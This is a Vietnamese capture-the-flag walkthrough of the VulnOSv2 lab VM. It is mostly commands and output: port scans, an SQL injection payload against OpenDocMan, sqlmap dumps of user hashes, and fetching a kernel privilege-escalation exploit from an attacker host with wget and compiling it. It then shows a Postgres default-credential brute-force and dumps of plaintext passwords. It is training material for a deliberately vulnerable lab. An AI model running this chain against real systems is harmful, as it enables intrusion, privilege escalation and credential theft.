map -A -T4 -sV -v -p- 192.168.1.13

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)

| 2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)

| 256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)

|\_ 256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

| http-methods:

|\_ Supported Methods: GET HEAD POST OPTIONS

|\_http-title: VulnOSv2

|\_http-server-header: Apache/2.4.7 (Ubuntu)

6667/tcp open irc ngircd

Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux\_kernel

gobuster dir -u <http://192.168.1.13/> -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

===============================================================

Gobuster v3.1.0

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

===============================================================

[+] Url: <http://192.168.1.13/>

[+] Method: GET

[+] Threads: 10

[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

[+] Negative Status codes: 404

[+] User Agent: gobuster/3.1.0

[+] Timeout: 10s

===============================================================

2022/08/03 22:40:28 Starting gobuster in directory enumeration mode

===============================================================

/javascript (Status: 301) [Size: 316] [--> <http://192.168.1.13/javascript/>]

/server-status (Status: 403) [Size: 292]

===============================================================

2022/08/03 22:41:40 Finished

===============================================================

gg khai thác opendocman, sau đó dùng searchsploit để tìm cách khai thác

cat /usr/share/exploitdb/exploits/php/webapps/32075.txt

dán payload vào browser:

<http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v>

ersion%28%29,3,4,5,6,7,8,9

thành:

<http://192.168.1.13/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9>

Dùng sqlmap để khai thác

sqlmap -u "<http://192.168.1.13/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user>" -p add\_value --dbs

-p: parameter

add\_value: paramater mẫu để test

[22:56:02] [INFO] fetching database names

available databases [6]:

[\*] drupal7

[\*] information\_schema

[\*] jabcd0cs

[\*] mysql

[\*] performance\_schema

[\*] phpmyadmin

dump db:

sqlmap -u "<http://192.168.1.13/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user>" -p add\_value -D jabcd0cs --dump

có thể sử dụng các option:

sqlmap -u "<http://192.168.1.13/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user>" -p add\_value –threads=4 –columns -T odm\_user -D jabcd0cs

sqlmap -u “<http://192.168.1.13/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user>” -p add\_value –threads=4 –dump -T odm\_user -D jabcd0cs

sqlmap -u “<http://192.168.1.13/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user>” –threads=4 -D jabcd0cs -T odm\_user -C id,username,password –dump

Database: jabcd0cs

Table: odm\_user

[2 entries]

+----+--------------------+-------------+----------------------------------+----------+-----------+------------+------------+---------------+

| id | Email | phone | password | username | last\_name | department | first\_name | pw\_reset\_code |

+----+--------------------+-------------+----------------------------------+----------+-----------+------------+------------+---------------+

| 1 | webmin@example.com | 5555551212 | b78aae356709f8c31118ea613980954b | webmin | min | 2 | web | <blank> |

| 2 | guest@example.com | 555 5555555 | 084e0343a0486ff05530df6c705c8bb4 | guest | guest | 2 | guest | NULL |

+----+--------------------+-------------+----------------------------------+----------+-----------+------------+------------+---------------+

dùng hash-identifider để xác định loại encrypt

decrypt password:

<https://www.md5online.org/md5-decrypt.html>

webmin1980

(hash = b78aae356709f8c31118ea613980954b)

$ uname -a

Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux

$ searchsploit ubuntu 3.13.0 | cut -b 1-150

$ wget <http://192.168.1.6/37292.c>

--2022-08-04 08:27:16-- <http://192.168.1.6/37292.c>

Connecting to 192.168.1.6:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 4968 (4.9K) [text/x-csrc]

Saving to: ‘37292.c’

100%[==========================================================================>] 4,968 --.-K/s in 0.001s

2022-08-04 08:27:16 (4.85 MB/s) - ‘37292.c’ saved [4968/4968]

$ ls

37292.c post.tar.gz

$ gcc 37292.c

$ ls

37292.c a.out post.tar.gz

$ a.out

-sh: 9: a.out: not found

$ ./a.out

spawning threads

mount #1

mount #2

child threads done

/etc/ld.so.preload created

creating shared library

# whoami

root

Chiếm quyền user khác khi chưa có root

root@VulnOSv2:/home/webmin# tar xzvf post.tar.gz

root@VulnOSv2:/home/webmin# netstat -tulpn

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 127.0.0.1:3306 0.0.0.0:\* LISTEN 1029/mysqld

tcp 0 0 0.0.0.0:6667 0.0.0.0:\* LISTEN 1151/ngircd

tcp 0 0 0.0.0.0:22 0.0.0.0:\* LISTEN 968/sshd

tcp 0 0 127.0.0.1:5432 0.0.0.0:\* LISTEN 1051/postgres

tcp6 0 0 :::6667 :::\* LISTEN 1151/ngircd

tcp6 0 0 :::80 :::\* LISTEN 1239/apache2

tcp6 0 0 :::22 :::\* LISTEN 968/sshd

tcp6 0 0 ::1:5432 :::\* LISTEN 1051/postgres

udp 0 0 0.0.0.0:68 0.0.0.0:\* 765/dhclient

udp 0 0 0.0.0.0:50169 0.0.0.0:\* 765/dhclient

udp6 0 0 :::1818 :::\* 765/dhclient

Port forwarding postgres

ssh webmin@192.168.1.13 -L 5432:localhost:5432

bruteforce

msfconsole -q

msf6 > use auxiliary/scanner/postgres/postgres\_login

msf6 auxiliary(scanner/postgres/postgres\_login) > set RHOSTS 127.0.0.1

RHOSTS => 127.0.0.1

msf6 auxiliary(scanner/postgres/postgres\_login) > run

[!] No active DB -- Credential data will not be saved!

[-] 127.0.0.1:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)

[+] 127.0.0.1:5432 - Login Successful: postgres:postgres@template1

[-] 127.0.0.1:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)

[\*] Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

msf6 auxiliary(scanner/postgres/postgres\_login) >

dump db

$ PGPASSWORD="postgres" pg\_dumpall -U postgres -h localhost -p 5432

vulnosadmin c4nuh4ckm3tw1c3

thử đăng nhập ssh vào tài khoản mới

vulnosadmin@VulnOSv2:~$ ls

r00t.blend

vulnosadmin@VulnOSv2:~$ pwd

/home/vulnosadmin

copy file về máy

sudo scp vulnosadmin@192.168.1.13:/home/vulnosadmin/r00t.blend /

cài blender để mở file

apt-get install blender

Ta có mật khẩu root:

ab12fg//drg